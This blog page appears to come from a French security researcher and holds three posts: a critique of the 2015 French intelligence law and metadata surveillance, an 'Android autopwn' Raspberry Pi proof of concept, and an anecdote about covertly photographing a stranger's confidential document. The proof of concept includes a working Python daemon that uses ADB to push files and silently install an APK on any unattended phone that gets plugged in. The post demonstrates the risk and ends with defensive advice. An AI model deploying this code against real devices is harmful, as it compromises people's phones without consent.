06
mai
'15

Et vraoum, plus de vie privée !

Publié le 06 mai 2015

Le projet de loi relatif au renseignement a été voté le 5 mai à l'Assemblée Nationale à 438 votes contre 86 (dont 42 abstentions), et vise à encadrer les pratiques des services de renseignement dont celles liées à la lutte anti-terroriste.

Ce projet de loi est soutenu par un bon nombre de députés, et prévoit notamment les points suivant:

Et en quoi cela pose problème ?

En réalité, ce n'est pas le projet de loi entier qui a provoqué une levée de boucliers sur Internet, mais bel et bien des points de détails très importants. Le premier d'entre eux et certainement le plus discuté par les personnes ayant des compétences techniques est celui concernant les fameuses «boîtes noires» que le gouvernement prévoit de mettre en place chez des fournisseurs d'accès à Internet et les hébergeurs de données.

En effet, il a été évoqué l'utilisation d'algorithmes spécifiques permettant d'identifier des comportements caractéristiques des terroristes, permettant de cibler la surveillance sur un groupe restreint d'individus ainsi identifiés. Sauf que ces algorithmes vont devoir avoir un œil partout et sur toutes les données afin de pouvoir faire le tri. Ce qui implique la consultation de chaque information envoyée ou reçue par un internaute, et potentiellement une atteinte à la vie privée. Que nenni, rétorquent les promoteurs de ce projet de loi, «seules les métadonnées seront manipulées». Les métadonnées, ce beau terme décrivant des données associées à un contenu, mais qui ne sont pas du contenu. Ce ne sont pas pour autant des données n'ayant aucun rapport avec la vie privée: si l'on sait avec qui vous discutez, quand et comment, il est facile d'en déduire des informations utiles. Un exemple.

J'ai été amené il y a quelque temps de cela à effectuer une investigation numérique pour une société, car un des associés était suspecté de monter une société concurrente avec une ancienne employée. Lors de cette investigation, seuls des journaux d'évènements (remplis de métadonnées, et que de métadonnées) m'ont été fournis, en particulier ceux du serveur de messagerie. A l'aide de ces informations, j'ai découvert assez rapidement que l'associé en question possédait plusieurs adresses de courriel, et qu'il s'y connectait de différents endroits (identifiés en fonction de l'adresse IP et de la géolocalisation de ces adresses). Et que l'ancienne employée s'était connectée elle aussi d'un endroit similaire (adresse IP identique), mais que cette adresse IP n'était pas celle de l'entreprise, et cela hors heures ouvrées. Ce ne sont que des métadonnées, mais les interprétations/suppositions sont possibles à partir de ces données.

Un peu comme à Noël, lorsque tata Chantal vous offre un cadeau: vous le palpez, vous le secouez, vous le pesez, et vous essayez d'en déduire le contenu sans l'ouvrir. Eh bien avec les métadonnées, c'est exactement la même chose.

Une adresse IP, une adresse de courriel, des coordonnées géographiques, des dates d'envoi et de réception sont autant de données qui une fois corrélées, en révèlent tout autant que le contenu. Ce n'est pas pour rien que la CNIL (Commission Nationale Informatique et Libertés) considère l'adresse IP comme une donnée personnelle (rappelez-vous les débats HADOPI). D'ailleurs, ces mêmes métadonnées ont permis de déterminer que M. Urvoas a rédigé une réponse type transmise aux députés afin que ces derniers puissent répondre «comme il faut» aux citoyens inquiets (Numerama).

Le problème que pose ce mécanisme, c'est qu'il est obligatoirement intrusif et fournit des outils au gouvernement permettant s'il le souhaite d'être détournés de leur usage premier. Sans contrôle de l'autorité judiciaire. Malgré toute la bonne volonté du gouvernement, qui précise que ces outils ne seront pas employés à mauvais escient, on ne peut empêcher a priori un détournement de l'usage de ces outils dans le futur.

Des pratiques illégales, euuuh ?

Second point non-négligeable: le gouvernement reconnaît que ses services de renseignements emploient des pratique de recueil d'information non-encadrées par la loi. La loi relative au renseignement vise justement à combler ce manque, afin de légaliser entre autres:

Le patch législatif proposé n'est pas suffisant: il n'inclut aucun contrôle par l'autorité judiciaire, et légalise ces pratiques tout en permettant de possibles dérives. Toutefois, il est nécessaire de légiférer sur ces techniques récentes, afin d'encadrer ces pratiques, mais sans oublier d'y inclure un contrôle a priori.

Boarf, de toute manière je n'ai rien à cacher

Si vous n'avez rien à cacher, cela ne vous dérangera pas alors que l'on transforme votre maison en loft style télé-réalité, truffé de caméras et de micros. Après tout, vous n'êtes ni terroriste ni conspirateur, et vous n'avez aucun secret à cacher. Quoique.

A y réfléchir, peut-être que la caméra dans la chambre à coucher, ainsi que celle dans les toilettes et la salle de bains sont un brin intrusives ? Personne n'a besoin de savoir que vous galérez avec les dernières feuilles de votre rouleau de papier toilette, ou que vous prenez en photo vos plus beaux exploits délicatement déposés dans la cuvette. Personne n'a besoin de savoir que vous avez des relations sexuelles une à deux fois par semaine, ou que vous pratiquez l'onanisme tandis que madame a le dos tourné. Cela relève de l'intime, bien que les frontières de l'intime ont été repoussées par les réseaux sociaux.

On a tous quelque chose à cacher, pas que l'on soit terroriste mais plutôt que l'on a besoin d'avoir un jardin secret, son petit coin de plaisir personnel rien qu'à soi. Et on ne tient pas forcément à ce que tout le monde le découvre.

Quid des «boîtes noires» que le gouvernement prévoit d'installer ?

Je pense qu'un dessin vaut mieux qu'un long discours.

Et maintenant ? Que peut-on faire d'autre ?

Malgré le fait que M. Le Premier Ministre qualifie les appels des citoyens aux députés et sénateurs de «pressions», il est encore possible de contacter ces derniers (les sénateurs) afin de leur faire entendre raison quant au projet de loi. Ce dernier doit repasser au Sénat pour un examen final, et il n'est pas encore trop tard pour ouvrir les yeux. Contactez donc les sénateurs, la Quadrature du Net fournit un outil pour cela.

Une saisine du Conseil Constitutionnel est a priori en cours de la part des députés étant contre le projet de loi, ce qui devrait aboutir à un examen des articles controversés par les sages, et potentiellement la reconnaissance que certains d'entre eux sont contraires à la Constitution (si j'ai bien tout compris -- je ne suis pas juriste).

Bref, il reste un espoir.

Le premier à me trouver la référence du titre gagne toute mon estime

23
nov.
'12

Android autopwn avec un Raspberry Pi

Publié le 23 novembre 2012

Le Raspberry Pi, mini-ordinateur format carte de crédit à base de processeur ARM et à faible consommation, est décidemment étonnant. J'ai eu la chance d'en recevoir un fin septembre (car oui, plein d'autres geeks attendent encore et toujours, j'admire leur patience) et ça tombe bien puisque j'avais plusieurs idées de projets basées sur ce fameux composant. Bon, par souci de lecture (et aussi par fainéantise), nous l'affublerons du sobriquet "Rasppi" dans la suite de cet article.

Le Raspberry Pi c'est le bien, prenez en !

J'étais tellement fou de joie de l'avoir reçu que j'en ai fait le sujet d'un meeting HZV, afin de faire un retour d'expérience sur l'utilisation de cette bestiole. Après quelques semaines à le bidouiller, j'ai ainsi pu découvrir quelques hacks ingénieux, mais aussi les limites du Rasppi. Car oui, à ce prix là (~35€), on en a pour son argent: le processeur n'est pas une bête de course, la RAM limite (mais suffisante) et surtout des lacunes dans l'alimentation. Ce dernier point ne pose pas de souci majeur, nous allons donc l'oublier (il fera l'objet d'un futur article).

Si vous tenez absolument à en faire un PC de salon, ou pire un média center, c'est votre droit mais ne vous attendez pas à des miracles. Par contre comme PC embarqué dans de petits boitiers, ou alimenté via une batterie USB, c'est le pied ! Je vous conseille ce genre de modèle (de chez Novago), qui tient la route (quelques heures d'autonomie) avec un Rasppi seul:

Si vous souhaitez mettre du Wifi, c'est une autre paire de manches. J'aborderai cet aspect dans un prochain article. Pour le moment, on dispose d'un PC de poche alimenté sur batterie, pour moins de 80€.

J'allais oublier, il lui faut aussi une carte SD haute capacité (HC), pour ma part j'ai opté pour une Sandisk de 16Go Class 10. J'en ai profité pour installer une Raspbian (un portage de Debian Wheezy pour architecture ARM), à partir des dépots officiels.

Le côté obscur du Rasppi

Une des premières idées que j'ai eu quand j'ai entendu parler du Rasppi concerne une attaque physique. Je suis parti du constat que beaucoup de possesseurs de smartphones Android ont rooté leur engin, pour des raisons plus ou moins valables (comme par exemple installer ZeroSMS =). Et qu'un bon nombre de ces possesseurs de smartphone ont activé l'option de débogage via USB. Et qu'ils vont laisser traîner leur smartphone un peu partout. Ou laisser le montage de la carte SD en automatique lors de la connexion d'un cable USB. Je pense que vous voyez où je veux en venir: avec un Rasppi, on peut très facilement avoir juste un cable qui dépasse, et se connecter à un smartphone laissé sans surveillance. Pour en faire un peu tout et n'importe quoi.

La preuve de concept que je vous propose de réaliser est la suivante: transformer un Raspberry Pi en outil de compromission automatique de smartphone sous Android. Je ne vais pas vous donner d'outil tout fait, cela n'est pas la politique de la maison, mais plutôt vous démontrer qu'avec très peu de moyens ce type d'attaque est tout à fait envisageable. Commençons par bidouiller notre Rasppi.

Une fois le Rasppi configuré, on peut s'y connecter en SSH pour faire un brin d'administration. On va commencer par installer git:

# apt-get install git

Et on enchaîne en téléchargeant le code source d'ADB (Android Debug Bridge), un outil du SDK d'Android permettant de communiquer avec un périphérique via une connexion USB et de faire à peu près tout ce que l'on veut. Comme par exemple accéder au contenu de la carte SD, installer/désinstaller des applications, voire même modifier des paramètres système si le smartphone est rooté. On doit le compiler car le SDK de base d'Android ne contient qu'une version x86, et pas ARM:

# apt-get install build-essential libncurses5-dev
$ git clone git://codeaurora.org/platform/system/core.git system/core
$ git clone git://codeaurora.org/platform/build.git build
$ git clone git://codeaurora.org/platform/external/zlib.git external/zlib
$ git clone git://codeaurora.org/platform/bionic.git bionic

On récupère ensuite un Makefile que l'on copie dans le dossier system/core/adb:

$ wget https://gist.github.com/gists/958335/download -O system/core/adb/Makefile.tgz
$ cd system/core/adb
$ tar xvzf Makefile.gz
$ mv gist958335-3311049e9dc7b506f37b752c4f046997086e13fc/Makefile Makefile
$ rm -rf gist958335-3311049e9dc7b506f37b752c4f046997086e13fc

On modifie la ligne qui définit TOOLCHAIN de manière à ce qu'elle ne soit pas paramétrée:

...
# ancienne ligne
# TOOLCHAIN= arm-none-linux-gnueabi-
TOOLCHAIN=
...

Et on compile:

$ make
$ cp adb /usr/local/bin/

Si vous avez tout suivi, vous devez vous retrouver avec une version d'ADB. Je me suis inspiré de cette page, je vous invite à vous y reporter si je n'ai pas été très clair.

Il ne reste plus qu'à coder un daemon en python qui surveille les connexions et déconnexions de périphériques USB, et qui lance une ou plusieurs commandes avec ADB lors de la connexion. Voici un exemple de code qui fait l'affaire:

import re
import sys
import subprocess
from time import sleep
from daemon import Daemon

device_re = re.compile("Bus\s+(?P<bus>\d+)\s+Device\s+(?P<device>\d+).+ID\s(?P<id>\w+:\w+)\s(?P<tag>.+)$", re.I)

class AndroPwnDaemon(Daemon):

        def get_devices(self):
                df = subprocess.check_output("lsusb", shell=True)
                devices = []
                for i in df.split('\n'):
                        if i:
                                info = device_re.match(i)
                                if info:
                                        dinfo = info.groupdict()
                                        devices.append(dinfo['id'])
                return devices

        def run(self):
                print 'AndroPwn - Android Autopwn via Raspberry Pi ]'
                print '>> author: Damien "virtualabs" Cauquil <virtualabs@gmail.com>'
                print ''
                devices = self.get_devices()
                while True:
                        devices_ = self.get_devices()
                        for device in devices_:
                                if device not in devices:
                                        print '[+] New device connected, infecting ...'
                                        # True evil code here (this one only gets uname :)
                                        p = subprocess.Popen(['/usr/local/bin/adb','-d','push','/home/pi/andropwn/0wn3d.txt','/sdcard/'], stdout=subprocess.PIPE)
                                        output = p.communicate()[0]
                                        p = subprocess.Popen(['/usr/local/bin/adb','-d','install','/home/pi/andropwn/evil.apk'], stdout=subprocess.PIPE)
                                        output = p.communicate()[0]
                                        print output
                        devices = [i for i in devices_]
                        sleep(1)

if __name__ == '__main__':
        daemon = AndroPwnDaemon('/tmp/andropwn.pid',stdout='/tmp/andropwn.log')
        if len(sys.argv) == 2:
                if 'start' == sys.argv[1]:
                        daemon.start()
                elif 'stop' == sys.argv[1]:
                        daemon.stop()
                elif 'restart' == sys.argv[1]:
                        daemon.restart()
                else:
                        sys.exit(2)
                sys.exit(0)
        else:
                print 'usage: %s start|stop|restart' % sys.argv[0]
                sys.exit(2)

Cette version ne fait que dropper un fichier texte sur la carte SD (si celle-ci est accessible) et installe de force un APK nommé evil.apk. Libre à vous de faire un script permettant de le lancer automatiquement au démarrage, personnellement c'est ce que j'ai fait pour ma démo. Le fichier evil.apk n'est rien d'autre que l'application PodcastAddict qui s'installe automatiquement à l'insu du propriétaire du smartphone ciblé. Ci-dessous une démonstration de l'attaque (soyez indulgent, ça doit être ma première vidéo sur youtube, et mon matériel de montage ne supporte pas le format du caméscope. Sans parler du wallpaper de mon smartphone, enfin je pense que vous pouvez comprendre =).

<center><object width="560" height="315"><param name="movie" value="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="wmode" value="opaque"><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US" type="application/x-shockwave-flash" width="560" height="315" allowscriptaccess="always" allowfullscreen="true" wmode="opaque"></embed></object></center>

Quel est l'intérêt de passer par ADB me direz-vous ? Il est double. D'une part on a accès à presque tout (enfin ça dépend des versions d'Android, notamment les ROMs fournies par les opérateurs), et d'autre part cela fonctionne même lorsque le smartphone est en veille ou verrouillé ! On peut bien sûr faire plein d'autres choses, comme par exemple aspirer tous les fichiers présents sur la carte SD, lancer des applications à la place de l'utilisateur, rooter le smartphone, bref il n'y a vraiment pas de limite.

Conclusion

Deux points importants dans ma conclusion. Le premier concerne le fait de rooter un smartphone: ne le faites pas sans savoir à quoi vous vous exposez, ni aux risques que vous prenez. Le second point concerne la sécurité physique des smartphones: même verrouillés, évitez de les laisser traîner ! Gardez votre smartphone sous bonne surveillance, et prenez soin de désactiver les fonctionnalités inutiles.

Les smartphones ne sont rien de moins que des ordinateurs de poche, qui font accessoirement office de téléphone. Il faut avoir la même hygiène (si ce n'est pire) que celle adoptée avec les ordinateurs portables.

28
sept.
'12

Tout est sous contrôle

Publié le 28 septembre 2012

On vit une drôle d'époque. Sincèrement. Il suffit que tout récemment certains utilisateurs de Facebook se rendent compte (en allant déterrer leurs messages d'avant 2009) que leur vie privée n'était pas si privée que cela pour que des ministres demandent des comptes et lancent une enquête de la CNIL. Tout ça parce que des utilisateurs n'ont pas (encore) compris que mettre sur un serveur distant des données personnelles (et pour certaines confidentielles) les rendait hors de contrôle. La bonne blague. Comme si ce genre de problème ne se produisait que dans le monde virtuel, le monde numérique.

Confidentiel, vous avez dit ?

Je forme des gens à la sécurité informatique, et plus généralement à la sécurité de l'information. Et cela plusieurs semaines par an. Et ce soir, en rentrant du boulot (où je dispense une formation, comme c'est étrange), une femme vient s'asseoir sur le siège diagonalement opposé au mien, dans un train de banlieue comme il y en a tant. Un train bondé, rempli de gens éreintés. Mais contrairement aux autres personnes qui ont déjà dégainé leurs smartphones, elle sort un bloc-notes ainsi qu'un document de quelques pages sur lequel est inscrit la mention "CONFIDENTIEL" en rouge, et encadrée.

Elle fait cela sous le nez de trois personnes, et commence à annoter le document comme si de rien n'était. Confidentiel, c'est marqué. On est trois à lorgner sur le document, et elle continue d'annoter: "Expliquer le schéma, comme je l'ai indiqué", "Non.". Le nom de sa société est visible, le document concerne une proposition commerciale, et le nom du client traîne pas très loin. Du grand art, je vous dit. J'avais mon smartphone dans les mains, en deux mouvements de doigt je lance l'appareil photo, coupe le son, et prend une série de clichés (avec zoom) de ce document annoté. Comme si de rien n'était. Et personne n'a rien remarqué. Normal quoi. Un smartphone, un geek, et une position qui fait style "je ne veux pas que vous puissiez voir mon écran".

Espion en herbe

J'ai été assez étonné de ne pas voir cette personne s'offusquer, car bon trois personnes qui reluquent son document ne l'ont pas fait broncher, et encore plus de pouvoir prendre ces photos sans me faire repérer. Je connais certaines personnes qui ont eu des problèmes juste en laissant un document annoté "CONFIDENTIEL" sur leur bureau, sans que même d'autres personnes y ait eu accès. Mais non, "CONFIDENTIEL" devait être là juste pour faire joli. Et pourtant je suis sûr que cette personne fait tout de même attention à ses documents sur son ordinateur, et à ses dossiers. Qu'elle trie tout comme il faut, et fait attention aux documents qu'elle transmet et stocke dans ses emails. Enfin j'ose espérer.

Pourtant, avec un smartphone tout ce qu'il y a de plus abordable et commun, n'importe qui peut se transformer en espion et prendre des photos à l'insu de personnes, en toute discrétion. Imaginons deux minutes que je travaille chez un concurrent, et l'on pourrait envisager que je puisse me servir de cette information. D'ailleurs ce n'est pas sans vous rappeler certaines personnalités qui se sont fait avoir avec une photo de documents sous le bras ... Même Nokia peut vous faciliter la tâche, avec ses derniers modèles intégrant une stabilisation de l'image, tout en étant hype.

Dernier point, et non des moindres: il est possible de nos jours de prendre une photo d'une personne ou d'un document à l'aide d'un objet très répandu, sans que personne ne le remarque. Un peu comme les appareils photos miniatures utilisés par des supers-espions à l'époque de la guerre froide, mais en plus gros. Sans que cela n'attire l'attention. Sans un bruit. Car le célèbre "clic" peut être désactivé, autorisant les prises de vues furtives. Et ce n'est pas neuf, malheureusement.

L'accès à l'information

Vouloir protéger l'information est une noble cause, et cela passe par différents mécanismes mis en œuvres: des procédures internes, une classification des documents, ainsi qu'une politique de mots de passe solide et éprouvée. On arrête pas de le dire. Mais vous ne pourrez jamais être derrière tout le monde, et encore moins derrière les bourreaux de travail ("workaholics") qui continuent de bosser dans le train qui les mène chez eux. Parce que bon, les objectifs et la carrière sont importants. Quant à la confidentialité ...

D'ailleurs, si par le plus grand des hasards cette personne lit ceci et se reconnaît, qu'elle n'hésite pas à me contacter. Sait-on jamais.



Les contenus disponibles sur ce blog sont publiés sous licence Creative Commons BY-NC-SA.
Vous pouvez réutiliser tout ou partie de ces contenus à condition de citer l'auteur et l'origine, vous ne pouvez en faire une utilisation commerciale, et enfin vous devez partager tout travail ou œuvre dérivée sous les mêmes conditions — c'est-à-dire avec la même licence d'utilisation Creative Commons.